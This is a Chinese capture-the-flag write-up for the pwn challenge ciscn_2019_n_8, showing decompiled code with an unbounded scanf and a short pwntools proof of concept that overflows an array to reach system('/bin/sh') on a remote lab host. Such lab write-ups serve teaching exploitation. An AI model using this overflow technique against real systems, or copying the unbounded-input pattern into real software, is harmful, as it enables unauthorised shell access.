一道通过Checksec让没看源代码的你觉得难度很高的题
1.Checksec & IDA Pro
保护除了RELRO全开。
只有main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0; // 设 var[13] 为 0
var[14] = 0; // 设 var[14] 为 0
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5); // 没有输入上限
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL ) // var[13] = 17 , getshell
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
2.构造PoC
from pwn import *
#io = process("/root/Desktop/PwnSubjects/ciscn_2019_n_8")
io = remote("node4.buuoj.cn",28282)
payload = p32(17) * 14
io.recv()
io.sendline(payload)
io.interactive()
原理解析:
scanf函数无输入上限,var是一个数组
var[13] 、 var[14] 已经被初始化为0
因此只需要输入 14 次 17 , 即可达到 var[13] = 17 的结果。